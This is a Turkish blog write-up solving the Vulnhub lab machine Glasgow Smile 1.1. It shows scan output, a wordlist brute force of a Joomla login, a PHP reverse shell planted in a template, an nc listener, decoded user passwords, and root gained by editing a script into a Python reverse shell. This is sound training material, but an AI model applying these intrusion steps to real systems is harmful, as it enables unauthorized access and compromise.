CTF

Glaskow Smile: 1.1 | Vulnhub Write-Up

Merhaba. Bu yazıda https://www.vulnhub.com/entry/glasgow-smile-11,491/ adresinden erişebileceğiniz kolay seviye Glaskow Smile 1.1. makinesinin çözümünü yapacağım.

Glaskow Smile 1.1. Çözüm

İlk olarak makinenin ip adresini netdiscover aracı ile tespit ediyorum.

netdiscover -i eth0

İp adresini bulduktan sonra ilk iş olarak nmap taraması yapıyorum.

nmap -sCV -A -p- -vv 192.168.171.128

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 67:34:48:1f:25:0e:d7:b3:ea:bb:36:11:22:60:8f:a1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfI+Um/NEmaDpzy9kccx/CHrMEB1l1VDu+tamiGD+VItg0ZxaVs5+5wpu9fOPKBcbCHDMSeJzlPY8RAsqz7LdZkJstARGK4UX6iqWxb2xfu0+PYi+ak7TVxLC+uuSk6ksEVPCb8Zs//bPbYN73yBPZy/0sObvBaJ6yh3pVtn2Q3mA4sPjxrhyHLOir7tUwoS9YDAYF9DAuFJQ9rbJUxPQbKzL4TbHUlVdhaYzXdFub8b8odfkWfocR1h5lOuZfbRgJ16FuFcKBOuKhYmtrkEu/JB5iQ3OYa49+2K54taG0Y/BAAz/IvirKzjGZSSYvjidq1YfmZia1hdwbh+nHihjX
| 256 4c:8c:45:65:a4:84:e8:b1:50:77:77:a9:3a:96:06:31 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM7oM844qWsqok8aAaJB28sBlnpE9KMEwRDbg7kZNyS9kCf8svDP3OsveL5PQ0rHxQLmZAzxa5dynzdkakLa7qk=
| 256 09:e9:94:23:60:97:f7:20:cc:ee:d6:c1:9b:da:18:8e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKwY1QTfngVJBfVu3KsoMP03LfmxKX8BeLgjBefIf2zN
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn’t have a title (text/html).

MAC Address: 00:0C:29:5A:03:29 (VMware)
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2–4.9 (96%), Linux 2.6.32–3.10 (96%), Linux 3.4–3.10 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32–2.6.35 (94%), Linux 2.6.32–3.5 (94%), Linux 2.6.32–3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=6/23%OT=22%CT=1%CU=40638%PV=Y%DS=1%DC=D%G=N%M=000C29%TM=5EF12B6D%P=x86_64-pc-linux-gnu)
SEQ(SP=101%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)
OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 39.908 days (since Thu May 14 03:19:35 2020)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.54 ms 192.168.171.128

Tarama sonucu 22 ve 80 portlarının açık olduğunu görüyoruz. İlk iş olarak 80 portunu yani web sitesini ziyaret ediyorum.

Web sitesini ziyaret ettikten sonra gobuster ile dizin taraması yapıyorum.

gobuster dir -u http://192.168.171.128 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Tarama sonucu /joomla dizinini ziyaret ediyorum. Joomla teknolojisi kullanıldığı için joomscan ile tarama yapıyorum.

joomscan -u http://192.168.171.128/joomla


[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 3.7.3rc1
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.171.128/joomla/administrator/components
http://192.168.171.128/joomla/administrator/modules
http://192.168.171.128/joomla/administrator/templates
http://192.168.171.128/joomla/images/banners
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://192.168.171.128/joomla/administrator/
[+] Checking robots.txt existing
[++] robots.txt is found
path : http://192.168.171.128/joomla/robots.txt
Interesting path found from robots.txt
http://192.168.171.128/joomla/joomla/administrator/
http://192.168.171.128/joomla/administrator/
http://192.168.171.128/joomla/bin/
http://192.168.171.128/joomla/cache/
http://192.168.171.128/joomla/cli/
http://192.168.171.128/joomla/components/
http://192.168.171.128/joomla/includes/
http://192.168.171.128/joomla/installation/
http://192.168.171.128/joomla/language/
http://192.168.171.128/joomla/layouts/
http://192.168.171.128/joomla/libraries/
http://192.168.171.128/joomla/logs/
http://192.168.171.128/joomla/modules/
http://192.168.171.128/joomla/plugins/
http://192.168.171.128/joomla/tmp/
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config files are not found
Your Report : reports/192.168.171.128/

Daha sonra bir login panel olduğunu görüyoruz ve cewl aracı ile http://192.168.171.128/joomla/ dizininden bir wordlist oluşturuyorum.

cewl http://192.168.171.128/joomla/ > pass.txt

Password listesini oluşturduktan sonra BurpSuite ile brute force yapıyorum. Bruteforce yaparken username kısmını joomla olarak ayarlıyorum ve password kısmına oluşturduğum listeyi ekliyorum. Aynı işlemi hydra ile daha hızlı yapabiliriz fakat ben burada farklılık olması amacı ile bu yolu tercih ettim :).

Çıktıyı kontrol ettiğimde 303 yanıtı dönen “Gotham” parolasını görüyorum ve username: joomla, password: Gotham verileri ile giriş yapabiliyorum.

Daha sonra Templates altında index.php içerisine php reverse shell ekiyorum.

nc -lnvp 7788

Dinlemeye aldıktan sonra http://192.168.171.128/joomla sayfasını çalıştırdığımda shelli alıyorum.

home dizinine baktığımda abner, penguin ve rob kullanıcılarını görüyorum. Bunlara baktığımda 3 adet user.txt dosyasının olduğunu tespit ediyorum.

Daha sonra /var/www/joomla2/configuration.php içerisinden mysql bilgilerini buluyorum.

Buradaki bilgiler ile mysql bağlantısı sağlıyoruz. batjoke isimli database içerisinden taskforce içerisinde kullanıcı bilgilerini tespit ediyorum.

Buradan rob kullanıcısının şifresini decode edip ssh ile bağlantı sağlayacağız.

echo “Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/” | base64 -d

Şifreyi bulduktan sonra ssh bağlantısı yapıyorum.

ssh [email protected]

Rob kullanıcısının user flagini okumayı başarıyoruz ve devam ediyoruz.

Burada Abnerineedyourhelp dosyasını okuduğumuzda caesar tekniği ile şifrelenmiş bir metin buluyoruz ve decode ediyoruz.

Hello Dear, Arthur suffers from severe mental illness but we see little sympathy for his condition. This relates to his feeling about being ignored. You can find an entry in his journal reads, “The worst part of having a mental illness is people expect you to behave as if you don’t.”
Now I need your help Abner, use this password, you will find the right way to solve the enigma. STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==

Metin içerisinde yine base64 ile şifrelenmiş abner kullanıcısının parolasını buluyoruz.

echo “STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==” | base64 -d

Bulduğumuz parola ile abner kullanıcısına ssh ile bağlanıyoruz.

ssh [email protected]

abner kullanıcısında user2 flagini de okuyoruz. İşimize yarayacak birşeyler var mı diye kontrol ediyorum ve gizli bir dosya olduğunu buluyorum.

find / -user abner 2>/dev/null

.dear_penguins.zip dosyasını /tmp klasörüne kopyalayıp zip içerisinden çıkarıyorum.

My dear penguins, we stand on a great threshold! It’s okay to be scared; many of you won’t be coming back. Thanks to Batman, the time has come to punish all of God’s children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!!
scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

Dosyayı zipten çıkardığımda penguin kullanıcısının parolasını elde ediyorum ve su komutu ile penguin kullanıcısına geçiş yapıyorum.

Penguin kullanıcısına geçtikten sonra burada user3 flagini okuyorum ve .trash_old dosyası dikkatimi çekiyor. Dosyayı okuduğumda /bin/sh olarak çalıştığını ve buradan bir reverse shell alabilceğimi görüyorum.

Dosyayı metin editörü ile açarak python ile reverse shell alacak şekilde düzenliyorum.

Dosyayı tekrar açtığımda bağlantı sağlanıyor ve root olarak shell almış oluyoruz.

Root.txt dosyasını okuduktan sonra Vulnhub Glaskow Smile 1.1. makinesinin çözümünü bitirmiş oluyoruz.

Başka yazılarda görüşmek dileğiyle.

Yazının Medium linki >> Glaskow Smile: 1.1 | Vulnhub Write-Up

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

nineteen − eighteen =

Başa dön tuşu